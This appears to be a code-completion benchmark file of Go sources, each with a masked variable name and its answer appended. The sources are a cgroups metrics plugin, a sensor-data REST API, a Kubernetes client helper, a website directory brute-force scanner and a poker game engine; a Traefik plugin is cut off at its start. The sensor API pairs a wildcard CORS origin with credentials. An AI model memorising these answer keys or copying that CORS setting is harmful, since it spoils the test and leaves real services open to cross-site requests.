ns.GetValueByNamespace(mountPoint.stats, strings.Split(strings.Join([]string{subsystemEntry, mpMetric}, ""/""), ""/"")) } metricTypes[i].Namespace_ = mountPoint.getFullNamespace(mountPoint.namespace, mpMetric) metricTypes[i].Data_ = data metricTypes[i].Timestamp_ = time.Now() metricTypes[i].Version_ = VERSION assignMetricMeta(&metricTypes[i], allMetrics) metrics = append(metrics, metricTypes[i]) matchAny = true } } } } } if !matchAny { metrics = append(metrics, metricType) } } return metrics, nil } func (c *cgroups) GetMetricTypes(plugin.ConfigType) ([]plugin.MetricType, error) { metrics := []plugin.MetricType{} exists := make(map[string]bool) for _, mountPoint := range c.mountPoints { mountPoint.getMetrics() for _, metric := range mountPoint.metrics { // Create namespace with dynamic mount path for dynamic metric name metricNamespace := mountPoint.getFullNamespace(""*"", dynamicToAsterisk(metric)) // Ignore duplicates if !exists[metricNamespace.String()] { mt := plugin.MetricType{ Namespace_: metricNamespace, Version_: VERSION, } metrics = append(metrics, mt) exists[metricNamespace.String()] = true } } } return metrics, nil } func (c *cgroups) GetConfigPolicy() (*cpolicy.ConfigPolicy, error) { return cpolicy.New(), nil } func (c *cgroups) newMountPoint(subsystem string, namespace string, path string) (*mountpoint, error) { if namespace == """" { namespace = ""root"" } return &mountpoint{subsystem: subsystem, namespace: namespace, path: path}, nil } func (c *cgroups) addMountPoint(mountPoint *mountpoint) { c.mountPoints = append(c.mountPoints, mountPoint) } // getMountPoints discovers all cgroup mountpoints recursively func (c *cgroups) getMountPoints() error { // Get all subsystems subsysAll, err := libcgroups.GetAllSubsystems() if err != nil { return err } // Get root mountpoints for subsystems for _, subsys := range subsysAll { mountPointPath, err := libcgroups.FindCgroupMountpoint(subsys) if err != nil { return err } // Get inner mountpoints filepath.Walk(mountPointPath, func(path string, f os.FileInfo, err error) error { if f.IsDir() { // Generate mountpoint namespace nsSplit := strings.Split(strings.TrimPrefix(strings.TrimPrefix(path, mountPointPath), ""/""), ""/"") for i, part := range nsSplit { nsSplit[i] = ns.ReplaceNotAllowedCharsInNamespacePart(part) } namespace := strings.Join(nsSplit, ""/"") // Create mountpoint mountPoint, err := c.newMountPoint(subsys+""_stats"", namespace, path) if err == nil { c.addMountPoint(mountPoint) } } return nil }) } return nil } // getMetrics gets all metrics for desired mountpoint from OS func (mp *mountpoint) getMetrics() error { // Get stats from mountpoint manager := libcgroupsfs.Manager{Paths: make(map[string]string)} manager.Paths[strings.TrimSuffix(mp.subsystem, ""_stats"")] = mp.path stats, err := manager.GetStats() if err != nil { return err } // Find all cgroup stat metrics for mountpoint [MASK] := []string{} switch mp.subsystem { case ""blkio_stats"": ns.FromCompositeObject(stats.BlkioStats, """", & [MASK] , ns.InspectEmptyContainers(ns.AlwaysTrue)) case ""cpu_stats"", ""cpuacct_stats"": ns.FromCompositeObject(stats.CpuStats, """", & [MASK] , ns.InspectEmptyContainers(ns.AlwaysTrue)) case ""hugetlb_stats"": ns.FromCompositeObject(stats.HugetlbStats, """", & [MASK] , ns.InspectEmptyContainers(ns.AlwaysTrue)) case ""memory_stats"": ns.FromCompositeObject(stats.MemoryStats, """", & [MASK] , ns.InspectEmptyContainers(ns.AlwaysTrue)) case ""pids_stats"": ns.FromCompositeObject(stats.PidsStats, """", & [MASK] , ns.InspectEmptyContainers(ns.AlwaysTrue)) } mp.stats = stats mp.metrics = [MASK] return nil } // getFullNamespace constructs full snap namespace for desired mountpoint with provided mountpoint path and metric name func (mp *mountpoint) getFullNamespace(mountpoint string, metric string) (result core.Namespace) { if mountpoint == ""*"" { result = core.NewNamespace(NS_VENDOR, NS_CLASS, NS_PLUGIN, mp.subsystem).AddDynamicElement(""mountpoint"", ""Part of a mountpoint path"") } else { result = core.NewNamespace(NS_VENDOR, NS_CLASS, NS_PLUGIN, mp.subsystem).AddStaticElements(strings.Split(mountpoint, ""/"")...) } if metric != """" { metricSplit := strings.Split(metric, ""/"") for i, metricEntry := range metricSplit { if metricEntry == ""*"" { result = result.AddDynamicElement(""metric_id_""+strconv.Itoa(i), ""Metric ID"") } else { result = result.AddStaticElement(metricEntry) } } // Fix ""ends with asterisk is not allowed"" error for percpu_usage if strings.HasPrefix(metric, ""cpu_usage/percpu_usage/"") { result = result.AddStaticElement(""value"") } } return result } // dynamicToAsterisk replaces all dynamic namespace entries (like digit-only ID or capacity in hugetlb) to asterisks func dynamicToAsterisk(ns string) string { digitEntry := regexp.MustCompile(`(^|\/)(\d+(B|KB|MB|GB)?)($|\/)`) return digitEntry.ReplaceAllString(ns, `$1*$4`) } // matchSlice matches 2 slices with asterisk support func matchSlice(a, b []string) bool { if len(a) != len(b) { return false } for i := range a { if a[i] != b[i] && a[i] != ""*"" && b[i] != ""*"" { return false } } return true } // assignMetricMeta assigs metadata to metric using predefined metadata slice func assignMetricMeta(mt *plugin.MetricType, allMetrics []metric) { for _, metricMeta := range allMetrics { fmt.Println(""Match "", metricMeta.ns, ""with"", mt.Namespace().String()) if matchSlice(strings.Split(metricMeta.ns, ""/""), strings.Split(mt.Namespace().String(), ""/"")) { mt.Description_ = metricMeta.description mt.Unit_ = metricMeta.unit break } } } ",metricList 588,"package main import ( ""encoding/json"" ""fmt"" ""log"" ""net/http"" ""os"" ""strconv"" ""time"" _ ""github.com/go-sql-driver/mysql"" ""github.com/gorilla/mux"" ""github.com/jmoiron/sqlx"" ""github.com/rs/cors"" ) // SensorData represents the IAQ_SEN55 sensor data type SensorData struct { ID int `json:""id"" db:""id""` Location string `json:""location"" db:""location""` RecTime time.Time `json:""recTime"" db:""recTime""` Timestamp string `json:""timestamp"" db:""recTime""` Temp float64 `json:""temp"" db:""temp""` RH float64 `json:""rH"" db:""rH""` VOC float64 `json:""VOC"" db:""VOC""` NOx float64 `json:""NOx"" db:""NOx""` Pmass1 float64 `json:""pmass1"" db:""pmass1""` Pmass25 float64 `json:""pmass25"" db:""pmass25""` Pmass4 float64 `json:""pmass4"" db:""pmass4""` Pmass10 float64 `json:""pmass10"" db:""pmass10""` HCHO float64 `json:""HCHO"" db:""HCHO""` CO2 float64 `json:""CO2"" db:""CO2""` IndoorTd float64 `json:""indoorTd"" db:""indoorTd""` Tags []string `json:""tags,omitempty""` // Optional tags field } // Database configuration - same as in your TypeScript app var dbConfig struct { Host string User string Password string Database string Port int } var db *sqlx.DB var err error // Initialize database connection func initDB() error { dbConfig.User = os.Getenv(""MYSQL_USER"") dbConfig.Password = os.Getenv(""MYSQL_PASS"") dbConfig.Host = os.Getenv(""MYSQL_HOST"") port := os.Getenv(""MYSQL_PORT"") dbConfig.Database = os.Getenv(""MYSQL_DB"") dbConfig.Port, err = strconv.Atoi(port) if err != nil { log.Printf(""Error converting port to int: %v"", err) log.Printf(""Using default port 3306"") dbConfig.Port = 3306 } dsn := fmt.Sprintf(""%s:%s@tcp(%s:%d)/%s?parseTime=true"", dbConfig.User, dbConfig.Password, dbConfig.Host, dbConfig.Port, dbConfig.Database) var err error db, err = sqlx.Connect(""mysql"", dsn) if err != nil { return err } // Set connection pool settings db.SetMaxOpenConns(25) db.SetMaxIdleConns(5) db.SetConnMaxLifetime(5 * time.Minute) return nil } // Sanitize sensor data to handle NaN and Infinity values func sanitizeSensorData(data *SensorData) { // Helper function to sanitize float values sanitizeFloat := func(val *float64) { if val == nil || !isValidFloat(*val) { *val = 0.0 } } sanitizeFloat(&data.Temp) sanitizeFloat(&data.RH) sanitizeFloat(&data.VOC) sanitizeFloat(&data.NOx) sanitizeFloat(&data.Pmass1) sanitizeFloat(&data.Pmass25) sanitizeFloat(&data.Pmass4) sanitizeFloat(&data.Pmass10) sanitizeFloat(&data.HCHO) sanitizeFloat(&data.CO2) sanitizeFloat(&data.IndoorTd) } // Check if float value is valid (not NaN or Infinity) func isValidFloat(val float64) bool { return !isNaN(val) && !isInf(val, 0) } // Check if value is NaN func isNaN(val float64) bool { return val != val } // Check if value is Infinity func isInf(val float64, sign int) bool { return (sign >= 0 && val > 1.797693134862315708145274237317043567981e+308) || (sign <= 0 && val < -1.797693134862315708145274237317043567981e+308) } // GetSensorData retrieves sensor data from the database with optional filtering func GetSensorData(limit int, startDate, endDate string) ([]SensorData, error) { query := ""SELECT id, location, recTime, temp, rH, VOC, NOx, pmass1, pmass25, pmass4, pmass10, HCHO, CO2, indoorTd FROM IAQ_SEN55"" conditions := []string{} args := []interface{}{} // Add date filtering if provided if startDate != """" { conditions = append(conditions, ""recTime >= ?"") args = append(args, startDate) } if endDate != """" { conditions = append(conditions, ""recTime <= ?"") args = append(args, endDate) } // Build the WHERE clause if conditions exist if len(conditions) > 0 { query += "" WHERE "" for i, condition := range conditions { if i > 0 { query += "" AND "" } query += condition } } // Add sorting and limit query += "" ORDER BY recTime DESC LIMIT ?"" args = append(args, limit) // Execute the query var data []SensorData err := db.Select(&data, query, args...) if err != nil { return nil, err } // Sanitize and process the data for i := range data { // Convert location from numeric to string if _, err := strconv.Atoi(data[i].Location); err != nil { // If it's not a valid integer, keep it as is } // Sanitize the data sanitizeSensorData(&data[i]) // Add timestamp field from recTime for consistency with TypeScript API data[i].Timestamp = data[i].RecTime.Format(time.RFC3339) } return data, nil } // Insert new sensor data func InsertSensorData(data SensorData) error { // Sanitize the data first sanitizeSensorData(&data) // Convert location string to number if it's a valid number [MASK] , err := strconv.Atoi(data.Location) if err != nil { [MASK] = 0 // Default to 0 if not a valid number } // Insert data into database _, err = db.Exec(` INSERT INTO IAQ_SEN55 ( location, temp, rH, pmass1, pmass25, pmass4, pmass10, VOC, NOx, HCHO, CO2, indoorTd ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, [MASK] , data.Temp, data.RH, data.Pmass1, data.Pmass25, data.Pmass4, data.Pmass10, data.VOC, data.NOx, data.HCHO, data.CO2, data.IndoorTd, ) return err } // API handler for getting sensor data func handleGetSensorData(w http.ResponseWriter, r *http.Request) { // Get query parameters startDate := r.URL.Query().Get(""startDate"") endDate := r.URL.Query().Get(""endDate"") limitStr := r.URL.Query().Get(""limit"") // Default limit to 15000, as in your TypeScript API limit := 15000 if limitStr != """" { parsedLimit, err := strconv.Atoi(limitStr) if err == nil && parsedLimit > 0 { limit = parsedLimit } } log.Printf(""Fetching data with range: %s to %s, limit: %d"", startDate, endDate, limit) // Get data from database data, err := GetSensorData(limit, startDate, endDate) if err != nil { log.Printf(""Error fetching sensor data: %v"", err) http.Error(w, ""Failed to fetch sensor data"", http.StatusInternalServerError) return } log.Printf(""Returned %d records"", len(data)) // Add tag support - for demo, just add a tag based on temperature for i := range data { // Example of adding tags based on sensor values if data[i].Temp > 25 { data[i].Tags = append(data[i].Tags, ""high-temperature"") } else if data[i].Temp < 18 { data[i].Tags = append(data[i].Tags, ""low-temperature"") } if data[i].CO2 > 1000 { data[i].Tags = append(data[i].Tags, ""high-co2"") } } // Set content type header w.Header().Set(""Content-Type"", ""application/json"") // Return as JSON if err := json.NewEncoder(w).Encode(data); err != nil { log.Printf(""Error encoding response: %v"", err) http.Error(w, ""Error encoding response"", http.StatusInternalServerError) } } // API handler for inserting sensor data func handlePostSensorData(w http.ResponseWriter, r *http.Request) { var data SensorData // Decode the request body if err := json.NewDecoder(r.Body).Decode(&data); err != nil { http.Error(w, ""Invalid request body"", http.StatusBadRequest) return } // Insert data into database if err := InsertSensorData(data); err != nil { log.Printf(""Error inserting sensor data: %v"", err) http.Error(w, ""Failed to insert sensor data"", http.StatusInternalServerError) return } // Return success response w.WriteHeader(http.StatusCreated) w.Header().Set(""Content-Type"", ""application/json"") json.NewEncoder(w).Encode(map[string]string{ ""message"": ""Sensor data inserted successfully"", }) } // API handler for getting latest sensor data func handleGetLatestSensorData(w http.ResponseWriter, r *http.Request) { // Get query parameters limitStr := r.URL.Query().Get(""limit"") // Default limit to 1 limit := 1 if limitStr != """" { parsedLimit, err := strconv.Atoi(limitStr) if err == nil && parsedLimit > 0 { limit = parsedLimit } } // Get latest data from database data, err := GetSensorData(limit, """", """") if err != nil { log.Printf(""Error fetching latest sensor data: %v"", err) http.Error(w, ""Failed to fetch latest sensor data"", http.StatusInternalServerError) return } // Set content type header w.Header().Set(""Content-Type"", ""application/json"") // Return as JSON if err := json.NewEncoder(w).Encode(data); err != nil { log.Printf(""Error encoding response: %v"", err) http.Error(w, ""Error encoding response"", http.StatusInternalServerError) } } func main() { // Initialize database connection if err := initDB(); err != nil { log.Fatalf(""Failed to connect to database: %v"", err) } defer db.Close() // Create router r := mux.NewRouter() // Define API routes r.HandleFunc(""/api/sensor-data"", handleGetSensorData).Methods(""GET"") r.HandleFunc(""/api/sensor-data"", handlePostSensorData).Methods(""POST"") r.HandleFunc(""/api/sensor-data/latest"", handleGetLatestSensorData).Methods(""GET"") // Add CORS support c := cors.New(cors.Options{ AllowedOrigins: []string{""*""}, // Adjust this for production AllowedMethods: []string{""GET"", ""POST"", ""PUT"", ""DELETE""}, AllowedHeaders: []string{""Content-Type"", ""Authorization""}, AllowCredentials: true, }) // Define server port := os.Getenv(""PORT"") if port == """" { port = ""8080"" } server := &http.Server{ Addr: "":"" + port, Handler: c.Handler(r), } // Start server log.Printf(""Starting sensor API server on port %s..."", port) if err := server.ListenAndServe(); err != nil { log.Fatalf(""Server error: %v"", err) } } ",locNum 589,"package rc import ( ""context"" ""gopkg.in/yaml.v2"" k8serrors ""k8s.io/apimachinery/pkg/api/errors"" ""k8s.io/apimachinery/pkg/api/meta"" v1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"" ""k8s.io/client-go/discovery"" ""k8s.io/client-go/dynamic"" ""k8s.io/client-go/restmapper"" ctrl ""sigs.k8s.io/controller-runtime"" ) type DClient struct { Client *dynamic.DynamicClient Mapper meta.RESTMapper } func GetDynamicClient() (*DClient, error) { cfg := ctrl.GetConfigOrDie() dynamicClient, err := dynamic.NewForConfig(cfg) if err != nil { return nil, err } discoveryClient := discovery.NewDiscoveryClientForConfigOrDie(cfg) apis, err := restmapper.GetAPIGroupResources(discoveryClient) if err != nil { return nil, err } mapper := restmapper.NewDiscoveryRESTMapper(apis) return &DClient{ Client: dynamicClient, Mapper: mapper, }, nil } func (c DClient) CreateResourceFromYaml(rs string) error { em := make(map[string]interface{}) if err := yaml.Unmarshal([]byte(rs), &em); err != nil { return err } em = normalizeResource(em) resource := unstructured.Unstructured{} resource.SetUnstructuredContent(em) [MASK] := resource.GroupVersionKind() mapping, err := c.Mapper.RESTMapping( [MASK] .GroupKind(), [MASK] .Version) if err != nil { return err } var res dynamic.ResourceInterface if mapping.Scope.Name() == meta.RESTScopeNameNamespace { res = c.Client.Resource(mapping.Resource).Namespace(""test"") } else { res = c.Client.Resource(mapping.Resource) } _, err = res.Create(context.TODO(), &resource, v1.CreateOptions{}) if k8serrors.IsAlreadyExists(err) { _, err = res.Update(context.TODO(), &resource, v1.UpdateOptions{}) } return err } func normalizeResource(em map[string]interface{}) map[string]interface{} { result := make(map[string]interface{}) var n func(m interface{}) interface{} n = func(m interface{}) interface{} { result := m if em, ok := m.(map[interface{}]interface{}); ok { res := make(map[string]interface{}) for k := range em { v := em[k] res[k.(string)] = n(v) } result = res } if em, ok := m.([]interface{}); ok { res := make([]interface{}, len(m.([]interface{}))) for ai, ae := range em { res[ai] = n(ae) } result = res } return result } for k := range em { vv := em[k] v := n(vv) result[k] = v } return result } ",gvk 590,"package main import ( ""flag"" ""fmt"" ""log"" ""net/http"" ""strings"" ""time"" ""github.com/cw1997/website-scanner/process"" ""github.com/cw1997/website-scanner/util"" ) func main() { urlStr := flag.String(""url"", ""127.0.0.1/scantest/conn.asp"", ""please input a url"") method := flag.String(""method"", ""HEAD"", ""please input a method"") headers := flag.String(""header"", ""header.txt"", ""please input a header filename"") threadNum := flag.Int(""thread"", 10, ""please input thread number"") directoriesPath := flag.String(""path"", ""字典"", ""please input directories path"") suffix := flag.String(""extname"", ""txt"", ""please input directories file extname"") startTime := time.Now().Unix() scan(*urlStr, *method, *headers, *threadNum, *directoriesPath, *suffix) endTime := time.Now().Unix() fmt.Println(""spend time:"", endTime-startTime, ""s"") } func scan(urlStr string, methodStr string, headers string, threadNum int, directoriesPath string, suffix string) { urlStr = process.FormatUrl(urlStr) log.Println(""scan"", urlStr) if !process.CheckUrl(urlStr) { log.Fatalln(""check url fail"") } log.Println(""threadNum:"", threadNum) urlList := process.CacheUrl(directoriesPath, suffix) log.Println(""urlList(before remove duplicate1)"", len(urlList)) urlList = util.RemoveDuplicate1(urlList) log.Println(""urlList(after remove duplicate1)"", len(urlList)) [MASK] := process.CacheHeader(headers) log.Println(""headerList"", len( [MASK] )) methodStr = strings.ToUpper(methodStr) urlQueue := make(chan string) resultQueue := make(chan string) result := make(map[string]string) go func(resultQueue chan string, result map[string]string) { for urlInfo := range resultQueue { ret := strings.SplitN(urlInfo, "" "", 2) // 必须使用splitn且n=2,因为status可能含有空格 result[ret[0]] = ret[1] } }(resultQueue, result) for i := 0; i < threadNum; i++ { go scanThread(urlQueue, resultQueue, methodStr, [MASK] , urlList) } process.AppendUrl(urlQueue, urlStr, urlList) process.OutputHtml(urlStr, result) } //扫描thread func scanThread(urlQueue chan string, resultQueue chan string, methodStr string, headers map[string]string, urlList []string) { // get url from urlQueue channel for urlStr := range urlQueue { //log.Println(urlStr) client := &http.Client{} req, err := http.NewRequest(methodStr, urlStr, nil) if err != nil { log.Println("" 扫描URL: "" + urlStr + "" 出错,可能为Bad Request。\n"" + err.Error()) continue } for k, v := range headers { req.Header.Set(k, v) } //req.Header.Set(""Content-Type"", ""application/x-www-form-urlencoded"") resp, err := client.Do(req) if err != nil { log.Println(err, ""服务器拒绝了该连接请求,请检查您要扫描的服务器是否已经宕机"") continue } //defer resp.Body.Close() /*body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Println(err) } fmt.Println(string(body))*/ //将结果定位到标准输出 也可以直接打印出来 或者定位到其他地方进行相应的处理 /*stdout := os.Stdout _, err = io.Copy(stdout, response.Body)*/ //返回的状态码 StatusCode := resp.StatusCode status := resp.Status result := urlStr + "" "" + status log.Println(result) if StatusCode != 404 { resultQueue <- result } //TODO: 这里本来要实现扫描到最后一个path为文件夹的情况下继续append到channel里等待下一轮扫描,但是运行时出现漏扫和死锁现象。 /*u, err := url.Parse(urlStr) //log.Println(u.Path, strings.Contains(u.Path, ""."")) if err != nil { log.Println(""解析URL: "" + urlStr + "" 失败"") return } //|| strings.HasPrefix(status, ""30"") if !strings.Contains(u.Path+u.Fragment, ""."") && (StatusCode == 200 || StatusCode == 403) { log.Println(""lenqueue:"", len(urlQueue), ""urlList"", len(urlList), urlStr) process.AppendUrl(urlQueue, process.FormatUrl(urlStr), urlList) }*/ } } ",headerMap 591,"package pokertable import ( ""encoding/json"" ""errors"" ""sync"" ""github.com/d-protocol/pokerlib"" ""github.com/d-protocol/syncsaga"" ""github.com/thoas/go-funk"" ) var ( ErrGamePlayerNotFound = errors.New(""game: player not found"") ErrGameInvalidAction = errors.New(""game: invalid action"") ErrGameUnknownEvent = errors.New(""game: unknown event"") ErrGameUnknownEventHandler = errors.New(""game: unknown event handler"") ) type Game interface { // Events OnAntesReceived(func(*pokerlib.GameState)) OnBlindsReceived(func(*pokerlib.GameState)) OnGameStateUpdated(func(*pokerlib.GameState)) OnGameRoundClosed(func(*pokerlib.GameState)) OnGameErrorUpdated(func(*pokerlib.GameState, error)) // Others GetGameState() *pokerlib.GameState Start() (*pokerlib.GameState, error) Next() (*pokerlib.GameState, error) // Group Actions ReadyForAll() (*pokerlib.GameState, error) PayAnte() (*pokerlib.GameState, error) PayBlinds() (*pokerlib.GameState, error) // Single Actions Ready(playerIdx int) (*pokerlib.GameState, error) Pay(playerIdx int, chips int64) (*pokerlib.GameState, error) Pass(playerIdx int) (*pokerlib.GameState, error) Fold(playerIdx int) (*pokerlib.GameState, error) Check(playerIdx int) (*pokerlib.GameState, error) Call(playerIdx int) (*pokerlib.GameState, error) Allin(playerIdx int) (*pokerlib.GameState, error) Bet(playerIdx int, chips int64) (*pokerlib.GameState, error) Raise(playerIdx int, chipLevel int64) (*pokerlib.GameState, error) } type game struct { backend GameBackend gs *pokerlib.GameState opts *pokerlib.GameOptions rg *syncsaga.ReadyGroup mu sync.RWMutex isClosed bool incomingStates chan *pokerlib.GameState onAntesReceived func(*pokerlib.GameState) onBlindsReceived func(*pokerlib.GameState) onGameStateUpdated func(*pokerlib.GameState) onGameRoundClosed (func(*pokerlib.GameState)) onGameErrorUpdated func(*pokerlib.GameState, error) } func NewGame(backend GameBackend, opts *pokerlib.GameOptions) *game { rg := syncsaga.NewReadyGroup( syncsaga.WithTimeout(17, func(rg *syncsaga.ReadyGroup) { // Auto Ready By Default states := rg.GetParticipantStates() for gamePlayerIdx, isReady := range states { if !isReady { rg.Ready(gamePlayerIdx) } } }), ) return &game{ backend: backend, opts: opts, rg: rg, incomingStates: make(chan *pokerlib.GameState, 1024), onAntesReceived: func(gs *pokerlib.GameState) {}, onBlindsReceived: func(gs *pokerlib.GameState) {}, onGameStateUpdated: func(gs *pokerlib.GameState) {}, onGameRoundClosed: func(*pokerlib.GameState) {}, onGameErrorUpdated: func(gs *pokerlib.GameState, err error) {}, } } func (g *game) OnAntesReceived(fn func(*pokerlib.GameState)) { g.onAntesReceived = fn } func (g *game) OnBlindsReceived(fn func(*pokerlib.GameState)) { g.onBlindsReceived = fn } func (g *game) OnGameStateUpdated(fn func(*pokerlib.GameState)) { g.onGameStateUpdated = fn } func (g *game) OnGameRoundClosed(fn func(*pokerlib.GameState)) { g.onGameRoundClosed = fn } func (g *game) OnGameErrorUpdated(fn func(*pokerlib.GameState, error)) { g.onGameErrorUpdated = fn } func (g *game) GetGameState() *pokerlib.GameState { return g.gs } func (g *game) Start() (*pokerlib.GameState, error) { g.runGameStateUpdater() gs, err := g.backend.CreateGame(g.opts) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Next() (*pokerlib.GameState, error) { gs, err := g.backend.Next(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) ReadyForAll() (*pokerlib.GameState, error) { gs, err := g.backend.ReadyForAll(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) PayAnte() (*pokerlib.GameState, error) { gs, err := g.backend.PayAnte(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) PayBlinds() (*pokerlib.GameState, error) { gs, err := g.backend.PayBlinds(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Ready(playerIdx int) (*pokerlib.GameState, error) { if err := g.validateActionMove(playerIdx, Action_Ready); err != nil { return g.GetGameState(), err } g.rg.Ready(int64(playerIdx)) return g.GetGameState(), nil } func (g *game) Pay(playerIdx int, chips int64) (*pokerlib.GameState, error) { if err := g.validateActionMove(playerIdx, Action_Pay); err != nil { return g.GetGameState(), err } event, ok := pokerlib.GameEventBySymbol[g.gs.Status.CurrentEvent] if !ok { return g.GetGameState(), ErrGameUnknownEvent } // For blinds switch event { case pokerlib.GameEvent_AnteRequested: fallthrough case pokerlib.GameEvent_BlindsRequested: g.rg.Ready(int64(playerIdx)) return g.GetGameState(), nil } gs, err := g.backend.Pay(g.gs, chips) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Pass(playerIdx int) (*pokerlib.GameState, error) { if err := g.validatePlayMove(playerIdx); err != nil { return g.GetGameState(), err } gs, err := g.backend.Pass(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Fold(playerIdx int) (*pokerlib.GameState, error) { if err := g.validatePlayMove(playerIdx); err != nil { return g.GetGameState(), err } gs, err := g.backend.Fold(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Check(playerIdx int) (*pokerlib.GameState, error) { if err := g.validatePlayMove(playerIdx); err != nil { return g.GetGameState(), err } gs, err := g.backend.Check(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Call(playerIdx int) (*pokerlib.GameState, error) { if err := g.validatePlayMove(playerIdx); err != nil { return g.GetGameState(), err } gs, err := g.backend.Call(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Allin(playerIdx int) (*pokerlib.GameState, error) { if err := g.validatePlayMove(playerIdx); err != nil { return g.GetGameState(), err } gs, err := g.backend.Allin(g.gs) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Bet(playerIdx int, chips int64) (*pokerlib.GameState, error) { if err := g.validatePlayMove(playerIdx); err != nil { return g.GetGameState(), err } gs, err := g.backend.Bet(g.gs, chips) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) Raise(playerIdx int, chipLevel int64) (*pokerlib.GameState, error) { if err := g.validatePlayMove(playerIdx); err != nil { return g.GetGameState(), err } gs, err := g.backend.Raise(g.gs, chipLevel) if err != nil { return g.GetGameState(), err } g.updateGameState(gs) return g.GetGameState(), nil } func (g *game) validatePlayMove(playerIdx int) error { if p := g.gs.GetPlayer(playerIdx); p == nil { return ErrGamePlayerNotFound } if g.gs.Status.CurrentPlayer != playerIdx { return ErrGameInvalidAction } return nil } func (g *game) validateActionMove(playerIdx int, action string) error { if p := g.gs.GetPlayer(playerIdx); p == nil { return ErrGamePlayerNotFound } if !g.gs.HasAction(playerIdx, action) { return ErrGameInvalidAction } if g.rg == nil { return ErrGameInvalidAction } return nil } func (g *game) runGameStateUpdater() { go func() { for state := range g.incomingStates { g.handleGameState(state) } }() } func (g *game) cloneState(gs *pokerlib.GameState) *pokerlib.GameState { // clone table state data, err := json.Marshal(gs) if err != nil { return nil } var state pokerlib.GameState json.Unmarshal(data, &state) return &state } func (g *game) updateGameState(gs *pokerlib.GameState) { g.mu.Lock() defer g.mu.Unlock() state := g.cloneState(gs) g.gs = state if g.isClosed { return } g.incomingStates <- state } func (g *game) handleGameState(gs *pokerlib.GameState) { event, ok := pokerlib.GameEventBySymbol[gs.Status.CurrentEvent] if !ok { g.onGameErrorUpdated(gs, ErrGameUnknownEvent) return } handlers := map[pokerlib.GameEvent]func(*pokerlib.GameState){ pokerlib.GameEvent_ReadyRequested: g.onReadyRequested, pokerlib.GameEvent_AnteRequested: g.onAnteRequested, pokerlib.GameEvent_BlindsRequested: g.onBlindsRequested, pokerlib.GameEvent_RoundClosed: g.onRoundClosed, pokerlib.GameEvent_GameClosed: g.onGameClosed, } if handler, [MASK] := handlers[event]; [MASK] { handler(gs) } g.onGameStateUpdated(gs) } func (g *game) onReadyRequested(gs *pokerlib.GameState) { // Preparing ready group to wait for all player ready g.rg.Stop() g.rg.OnCompleted(func(rg *syncsaga.ReadyGroup) { if _, err := g.ReadyForAll(); err != nil { g.onGameErrorUpdated(gs, err) return } // reset AllowedActions for _, p := range gs.Players { if funk.Contains(p.AllowedActions, Action_Ready) { p.AllowedActions = funk.Filter(p.AllowedActions, func(action string) bool { return action != Action_Ready }).([]string) } } }) g.rg.ResetParticipants() for _, p := range gs.Players { g.rg.Add(int64(p.Idx), false) // Allow ""ready"" action p.AllowAction(Action_Ready) } g.rg.Start() } func (g *game) onAnteRequested(gs *pokerlib.GameState) { if gs.Meta.Ante == 0 { return } // Preparing ready group to wait for ante paid from all player g.rg.Stop() g.rg.OnCompleted(func(rg *syncsaga.ReadyGroup) { gameState, err := g.PayAnte() if err != nil { g.onGameErrorUpdated(gs, err) return } // emit event g.onAntesReceived(gameState) // reset AllowedActions for _, p := range gs.Players { if funk.Contains(p.AllowedActions, Action_Pay) { p.AllowedActions = funk.Filter(p.AllowedActions, func(action string) bool { return action != Action_Pay }).([]string) } } }) g.rg.ResetParticipants() for _, p := range gs.Players { g.rg.Add(int64(p.Idx), false) // Allow ""pay"" action p.AllowAction(Action_Pay) } g.rg.Start() } func (g *game) onBlindsRequested(gs *pokerlib.GameState) { // Preparing ready group to wait for blinds g.rg.Stop() g.rg.OnCompleted(func(rg *syncsaga.ReadyGroup) { gameState, err := g.PayBlinds() if err != nil { g.onGameErrorUpdated(gs, err) return } // emit event g.onBlindsReceived(gameState) // reset AllowedActions for _, p := range gs.Players { if funk.Contains(p.AllowedActions, Action_Pay) { p.AllowedActions = funk.Filter(p.AllowedActions, func(action string) bool { return action != Action_Pay }).([]string) } } }) g.rg.ResetParticipants() for _, p := range gs.Players { // Allow ""pay"" action if gs.Meta.Blind.BB > 0 && gs.HasPosition(p.Idx, Position_BB) { g.rg.Add(int64(p.Idx), false) p.AllowAction(Action_Pay) } else if gs.Meta.Blind.SB > 0 && gs.HasPosition(p.Idx, Position_SB) { g.rg.Add(int64(p.Idx), false) p.AllowAction(Action_Pay) } else if gs.Meta.Blind.Dealer > 0 && gs.HasPosition(p.Idx, Position_Dealer) { g.rg.Add(int64(p.Idx), false) p.AllowAction(Action_Pay) } } g.rg.Start() } func (g *game) onRoundClosed(gs *pokerlib.GameState) { g.onGameRoundClosed(gs) // Next round automatically gs, err := g.backend.Next(gs) if err != nil { g.onGameErrorUpdated(gs, err) return } g.updateGameState(gs) } func (g *game) onGameClosed(gs *pokerlib.GameState) { if g.isClosed { return } g.isClosed = true close(g.incomingStates) } ",exist 592,"package easy_traefik_rate_limit_jwt import ( ""context"" ""encoding/json"" ""fmt"" ""net/http"" ""os"" ""strings"" ""time"" jwt ""github.com/golang-jwt/jwt/v5"" ) // Config holds the plugin configuration type Config struct { JwtPayloadFields []string `json:""JwtPayloadFields,omitempty""` Alg string 